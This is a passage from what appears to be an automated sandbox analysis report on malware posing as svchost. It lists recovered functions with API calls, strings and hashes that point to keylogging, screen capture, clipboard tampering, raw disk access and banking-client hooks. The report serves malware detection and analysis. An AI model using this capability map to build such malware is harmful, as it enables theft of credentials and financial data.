                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Heap$CharCreateHandleMutexNamePathProcessUpperstrstr$AllocateCloseExistsFindInformationLockModulePointerPrivateProfileReadReleaseSizeSleepStringUnlockValidatememset
                                                                                                                                                                                                            • String ID: DefaultPrivateDir$GKUZ=$General$ISClient.cfg$Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}$interpro.ini
                                                                                                                                                                                                            • API String ID: 225490952-373839803
                                                                                                                                                                                                            • Opcode ID: 07309bb584f8ec9c140408bcd91eaab1538e8315637d864beee92b3e26132490
                                                                                                                                                                                                            • Instruction ID: 5c14c2c2e4865c91bb7091a3443cd4db5c10a0f0b3ab8c5f10609fd04c15d298
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 07309bb584f8ec9c140408bcd91eaab1538e8315637d864beee92b3e26132490
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 015125749803619BE7318F20A998BAA7BF4AF65308F148498FCC597300DB71ED48CB60
                                                                                                                                                                                                            Function 02D250E0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 174COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 02D250EE
                                                                                                                                                                                                            • GetWindowDC.USER32(00000000), ref: 02D250F5
                                                                                                                                                                                                            • CreateCompatibleDC.GDI32(00000000), ref: 02D2510A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$CompatibleCreateDesktop
                                                                                                                                                                                                            • String ID: ($BM
                                                                                                                                                                                                            • API String ID: 3720047489-2980357723
                                                                                                                                                                                                            • Opcode ID: b5b44240cc2848f5222b95e16f31b65d405b2abc1ad8ac3ef7fc3f1b9a34d374
                                                                                                                                                                                                            • Instruction ID: 679036cbc666af737a547abd7160dd24c8136dfbf4aa5348dbbea472e003190f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b5b44240cc2848f5222b95e16f31b65d405b2abc1ad8ac3ef7fc3f1b9a34d374
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9C517FB5D40218AFDB10DFA4E888BAEB7BDEF58314F904559F904AB340D7749D158BA0
                                                                                                                                                                                                            Function 02D11660 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 121memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCommandLineA.KERNEL32(\iexplore.exe), ref: 02D1166E
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000), ref: 02D11675
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D116F0
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D116F9
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000001,7591F550,75921620,80000002), ref: 02D11743
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D11746
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D11753
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D11756
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D11766
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D11780
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D117AF
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D117B2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D117BF
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D117C2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidatestrstr$AdminCommandLineUsermemset
                                                                                                                                                                                                            • String ID: \iexplore.exe$set_url
                                                                                                                                                                                                            • API String ID: 2523706361-3242205626
                                                                                                                                                                                                            • Opcode ID: f3d6a197134c5db5f3aa67a4001ea0943169df7976d05da268d142b582b705bc
                                                                                                                                                                                                            • Instruction ID: b6e361a1e664b97740b9e77e677cb0129658e41b0e16666a195470238929a852
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f3d6a197134c5db5f3aa67a4001ea0943169df7976d05da268d142b582b705bc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 26310835E8525077E7212A707C89B5B3B89DF11B55F180518EF49AB741EAA4CC44C6E1
                                                                                                                                                                                                            Function 02D12B50 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 169memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D12B82
                                                                                                                                                                                                              • Part of subcall function 02D12A90: GetAncestor.USER32(00000000,00000002,?,00000000), ref: 02D12A9E
                                                                                                                                                                                                              • Part of subcall function 02D12A90: GetWindowTextA.USER32(00000000,?,00000104), ref: 02D12AB9
                                                                                                                                                                                                              • Part of subcall function 02D12A90: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D12B17
                                                                                                                                                                                                              • Part of subcall function 02D12A90: HeapValidate.KERNEL32(00000000), ref: 02D12B1A
                                                                                                                                                                                                              • Part of subcall function 02D12A90: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D12B27
                                                                                                                                                                                                              • Part of subcall function 02D12A90: HeapFree.KERNEL32(00000000), ref: 02D12B2A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000014,?,?,?,00000000), ref: 02D12BE5
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02D12BEC
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D12BFF
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00000000), ref: 02D12C0F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,00000000), ref: 02D12C16
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,02D14181,?,?,?,00000000), ref: 02D12C36
                                                                                                                                                                                                            • HeapReAlloc.KERNEL32(00000000,?,?,00000000), ref: 02D12C3D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$AllocValidatememset$AncestorFreeTextWindow
                                                                                                                                                                                                            • String ID: [bks]$[del]$[ins]$[ret]$[tab]
                                                                                                                                                                                                            • API String ID: 4095246728-233650549
                                                                                                                                                                                                            • Opcode ID: a616690679d48e53ffb035557479e4611e023af9b337a239b096cc3e5d3bb478
                                                                                                                                                                                                            • Instruction ID: 901dce768346ff07385b063f348c3fa287c01986290aa6f6cc562f0d62db3c03
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a616690679d48e53ffb035557479e4611e023af9b337a239b096cc3e5d3bb478
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A851CF78D40269ABCB14CF65E858BEABBF5FF54700F04859AED45AB744E7319E00CBA0
                                                                                                                                                                                                            Function 02D01660 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 61libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104,7591F550,7591DF10,75A7BD50), ref: 02D0167A
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02D0168B
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 02D0169F
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\explorer.exe), ref: 02D016C1
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetFileAttributesW), ref: 02D016D1
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7591F550,00000000,75A7BD50,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A078
                                                                                                                                                                                                              • Part of subcall function 02D1A040: memcpy.MSVCRT ref: 02D1A0A0
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualProtect.KERNEL32(00000000,?,00000040,02D1938A,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A135
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualProtect.KERNEL32(?,00000000,00000040,02D1938A,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A14A
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(user32.dll), ref: 02D016EC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetWindowTextA), ref: 02D016F8
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressModuleProcVirtual$HandleProtect$AllocFileNamememcpy
                                                                                                                                                                                                            • String ID: CreateFileW$GetFileAttributesW$GetWindowTextA$\explorer.exe$kernel32.dll$user32.dll
                                                                                                                                                                                                            • API String ID: 1733008709-77332811
                                                                                                                                                                                                            • Opcode ID: b7b59c2166eed22945dd3276c40cbd68d430eea9a551fe2af8de8ecfb53cfab9
                                                                                                                                                                                                            • Instruction ID: f42faa4395f2120181e5a6a5c9d66f1804c7aa22e8fb8c34e97759347a7ba646
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b7b59c2166eed22945dd3276c40cbd68d430eea9a551fe2af8de8ecfb53cfab9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4F01847178135673FA206AB57CC6F9A339C6B65B59F840510BA4EB2390DEA4DC08C5B8
                                                                                                                                                                                                            Function 02D13000 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 104fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D13021
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(02D5DFC4,?,?,?), ref: 02D13038
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(02D5DFC4,?,?,?), ref: 02D13048
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D13075
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000003,A0000000,00000000), ref: 02D13097
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000000,75919300), ref: 02D130C1
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000104,00000000), ref: 02D130D0
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,00000104,00000000,00000000), ref: 02D130E9
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000104,00000000), ref: 02D130FA
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D13117
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D13128
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Handle$CloseCreateCurrentDirectoryDriveInformationLockPointerTypeUnlockWrite_snprintfmemset
                                                                                                                                                                                                            • String ID: \\.\PhysicalDrive%u
                                                                                                                                                                                                            • API String ID: 649538874-3292898883
                                                                                                                                                                                                            • Opcode ID: 585797609a850c238a6c28d78318fbe02d2bfde9fd94863497859f5fe0b2eee8
                                                                                                                                                                                                            • Instruction ID: 7d89559668bd58f50b37ebe50e1325974031bafbdb049217ce2bc9e2e98419be
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 585797609a850c238a6c28d78318fbe02d2bfde9fd94863497859f5fe0b2eee8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 59310279D81214BBE7209F50EC49FEE77AC9B15B14F604585FA09AA2C0C7F41E84CBE5
                                                                                                                                                                                                            Function 02D23910 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 61COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02D23927
                                                                                                                                                                                                            • PathFindFileNameA.SHLWAPI(?), ref: 02D23934
                                                                                                                                                                                                            • GetPrivateProfileStringA.KERNEL32(General,DefaultPrivateDir,00000000,?,00000104,?), ref: 02D23984
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 02D2399C
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 02D239A5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,?), ref: 02D239B5
                                                                                                                                                                                                              • Part of subcall function 02D23770: PathAddBackslashA.SHLWAPI(02D5D098), ref: 02D237A0
                                                                                                                                                                                                              • Part of subcall function 02D23770: CreateDirectoryA.KERNEL32(?,00000000), ref: 02D237E1
                                                                                                                                                                                                              • Part of subcall function 02D23770: GetLastError.KERNEL32 ref: 02D237EB
                                                                                                                                                                                                              • Part of subcall function 02D23770: IsUserAnAdmin.SHELL32 ref: 02D237F3
                                                                                                                                                                                                              • Part of subcall function 02D23770: PathMakeSystemFolderA.SHLWAPI(?), ref: 02D23804
                                                                                                                                                                                                              • Part of subcall function 02D23770: SetLastError.KERNEL32(00000000), ref: 02D2380B
                                                                                                                                                                                                              • Part of subcall function 02D23770: SetCurrentDirectoryA.KERNEL32(?), ref: 02D23818
                                                                                                                                                                                                              • Part of subcall function 02D23770: PathAddBackslashA.SHLWAPI(02D5D098,?,02D239CC), ref: 02D23887
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D098), ref: 02D239D6
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$Backslash$CharDirectoryErrorFileLastNameUpper$AdminCreateCurrentFindFolderMakeModulePrivateProfileStringSystemUser
                                                                                                                                                                                                            • String ID: DefaultPrivateDir$General$STF$interpro.ini$\t
                                                                                                                                                                                                            • API String ID: 2256374885-3682521933
                                                                                                                                                                                                            • Opcode ID: 4c6e8e91a95a070fd8c11ff839ab51b43fd64591b9af26d3c343652a24dd2324
                                                                                                                                                                                                            • Instruction ID: 3ae8953ed15eb1bb12510c3468db536db23d75142a2e634ceeb2af65796d037e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4c6e8e91a95a070fd8c11ff839ab51b43fd64591b9af26d3c343652a24dd2324
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5E11A5B99802159FD750DF64ED48EDA77B8EB54704F0085C5A58997340DAB49D88CF60
                                                                                                                                                                                                            Function 02D2D638 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 135filestringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetSpecialFolderPathA.SHELL32(00000000,?,?,00000000), ref: 02D2D6CA
                                                                                                                                                                                                            • strchr.MSVCRT ref: 02D2D6D9
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(000004E3,00000000,Desk,Desk,?,Desk), ref: 02D2D7C5
                                                                                                                                                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 02D2D7D9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ByteCharFileFindFirstFolderMultiPathSpecialWidestrchr
                                                                                                                                                                                                            • String ID: Desk$Network Favorites$\$o$p$t
                                                                                                                                                                                                            • API String ID: 23527507-2295261572
                                                                                                                                                                                                            • Opcode ID: ff67d68a513e9fed65bd26715be85a1d4c12569a281f8ca15b6d1797c166825e
                                                                                                                                                                                                            • Instruction ID: b1e286ac0de3b7958ab8e591ee340fff38032587ec554bb74ccfb33421ed556e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ff67d68a513e9fed65bd26715be85a1d4c12569a281f8ca15b6d1797c166825e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 124158319002AD5FEF258A24DC547EA77A2EB91309F2442E5D98AA7340D730AE8DCF60
                                                                                                                                                                                                            Function 02D21160 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02D21184
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,cbsmain.dll), ref: 02D21196
                                                                                                                                                                                                            • GetAncestor.USER32(?,00000002,?,00000104), ref: 02D211B6
                                                                                                                                                                                                            • GetWindowTextA.USER32(00000000), ref: 02D211BD
                                                                                                                                                                                                            • CreateThread.KERNEL32(?,?,02D21400,?,?,?), ref: 02D2125E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D21276
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D21287
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$AncestorCloseCreateFileInformationModuleNameTextThreadWindow
                                                                                                                                                                                                            • String ID: cbsmain.dll
                                                                                                                                                                                                            • API String ID: 741776142-1394916644
                                                                                                                                                                                                            • Opcode ID: da1d4f7d4628e91c31701c7070b21d93788e01de497e00405ea3a54902ad99cc
                                                                                                                                                                                                            • Instruction ID: 71b8ea4ecb7db0aac462ca673aeef3cd401ac88e57892ba485ee4028964b4f3f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: da1d4f7d4628e91c31701c7070b21d93788e01de497e00405ea3a54902ad99cc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8031E575A442795BD7218F30989ABB63BA99F2234CF54C684F989CA382D772CC4CCA50
                                                                                                                                                                                                            Function 02D092D0 Relevance: 13.5, APIs: 9, Instructions: 49clipboardmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GlobalAlloc.KERNEL32(00000002,?), ref: 02D092DF
                                                                                                                                                                                                            • GlobalLock.KERNEL32(00000000), ref: 02D092ED
                                                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(000004E3,00000001,?,?,00000000,?), ref: 02D09306
                                                                                                                                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 02D09313
                                                                                                                                                                                                            • OpenClipboard.USER32(00000000), ref: 02D0931B
                                                                                                                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 02D09327
                                                                                                                                                                                                            • EmptyClipboard.USER32 ref: 02D09333
                                                                                                                                                                                                            • SetClipboardData.USER32(0000000D,00000000), ref: 02D0933C
                                                                                                                                                                                                            • CloseClipboard.USER32 ref: 02D09342
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ClipboardGlobal$AllocByteCharCloseDataEmptyFreeLockMultiOpenUnlockWide
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1484758812-0
                                                                                                                                                                                                            • Opcode ID: f423fdfd22e580d374b5b023b2f691244e540e25909a8b0c6e2891f42a4ff2bc
                                                                                                                                                                                                            • Instruction ID: f012a38a8095b2437c1aaabed80b867b2bc92568afcfb0149942c30186014db3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f423fdfd22e580d374b5b023b2f691244e540e25909a8b0c6e2891f42a4ff2bc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A101713A581215BFDB109FA0FC8CEEE77ACEF68755F808116FA45CA285CB614C10CAB0
                                                                                                                                                                                                            Function 02D0CB80 Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsWindow.USER32(00000000), ref: 02D0CB88
                                                                                                                                                                                                            • IsIconic.USER32(00000000), ref: 02D0CB93
                                                                                                                                                                                                              • Part of subcall function 02D0C780: IsWindow.USER32(00000000), ref: 02D0C79D
                                                                                                                                                                                                              • Part of subcall function 02D0C780: IsWindowVisible.USER32(00000000), ref: 02D0C7AC
                                                                                                                                                                                                              • Part of subcall function 02D0C780: GetWindowRect.USER32(00000000,?), ref: 02D0C7E9
                                                                                                                                                                                                              • Part of subcall function 02D0C780: GetClassLongA.USER32(00000000,000000E6), ref: 02D0C7F2
                                                                                                                                                                                                              • Part of subcall function 02D0C780: PrintWindow.USER32(00000000,?,00000000,?,?,75A73EB0,?,?,?,02D090B9), ref: 02D0C805
                                                                                                                                                                                                              • Part of subcall function 02D0C780: RedrawWindow.USER32(00000000,00000000,00000000,00000485,00000000,?,?,?,75A73EB0,?,?,?,02D090B9), ref: 02D0C82B
                                                                                                                                                                                                              • Part of subcall function 02D0C780: CreateRectRgn.GDI32(?,?,02D090B9,?), ref: 02D0C841
                                                                                                                                                                                                              • Part of subcall function 02D0C780: GetWindowRgn.USER32(00000000,00000000), ref: 02D0C84B
                                                                                                                                                                                                              • Part of subcall function 02D0C780: OffsetRgn.GDI32(00000000,?,?), ref: 02D0C865
                                                                                                                                                                                                              • Part of subcall function 02D0C780: SelectClipRgn.GDI32(?,00000000), ref: 02D0C870
                                                                                                                                                                                                              • Part of subcall function 02D0C780: BitBlt.GDI32(?,?,?,02D090B9,?,?,00000000,00000000,00CC0020), ref: 02D0C899
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0CBBC
                                                                                                                                                                                                              • Part of subcall function 02D0CA20: GetWindowRect.USER32(02D0CB54,00000000), ref: 02D0CA2F
                                                                                                                                                                                                              • Part of subcall function 02D0CA20: GetWindowLongA.USER32(02D0CB54,000000F0), ref: 02D0CA49
                                                                                                                                                                                                              • Part of subcall function 02D0CA20: GetScrollBarInfo.USER32(02D0CB54,000000FA,?), ref: 02D0CA64
                                                                                                                                                                                                              • Part of subcall function 02D0CA20: GetScrollBarInfo.USER32(02D0CB54,000000FB,0000003C), ref: 02D0CA91
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02D0CBDD
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0CBE0
                                                                                                                                                                                                              • Part of subcall function 02D0CB10: memset.MSVCRT ref: 02D0CB41
                                                                                                                                                                                                              • Part of subcall function 02D0CB10: GetWindow.USER32(02D0D04D,00000005), ref: 02D0CB5C
                                                                                                                                                                                                              • Part of subcall function 02D0CB10: GetWindow.USER32(00000000), ref: 02D0CB5F
                                                                                                                                                                                                              • Part of subcall function 02D0CB10: GetWindow.USER32(02D0D04D,00000003), ref: 02D0CB6A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Rect$InfoLongScrollmemset$ClassClipCreateIconicOffsetPrintRedrawSelectVisible
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1230479295-0
                                                                                                                                                                                                            • Opcode ID: 4e548364062b0f436634eb005f3d9ab3a9b63fd7f9bed9bbe3806b458b05e1c2
                                                                                                                                                                                                            • Instruction ID: bc2a57cba8d44fa14d439e4934c675620823c195b7fcbe278ba72c1bb423c7f9
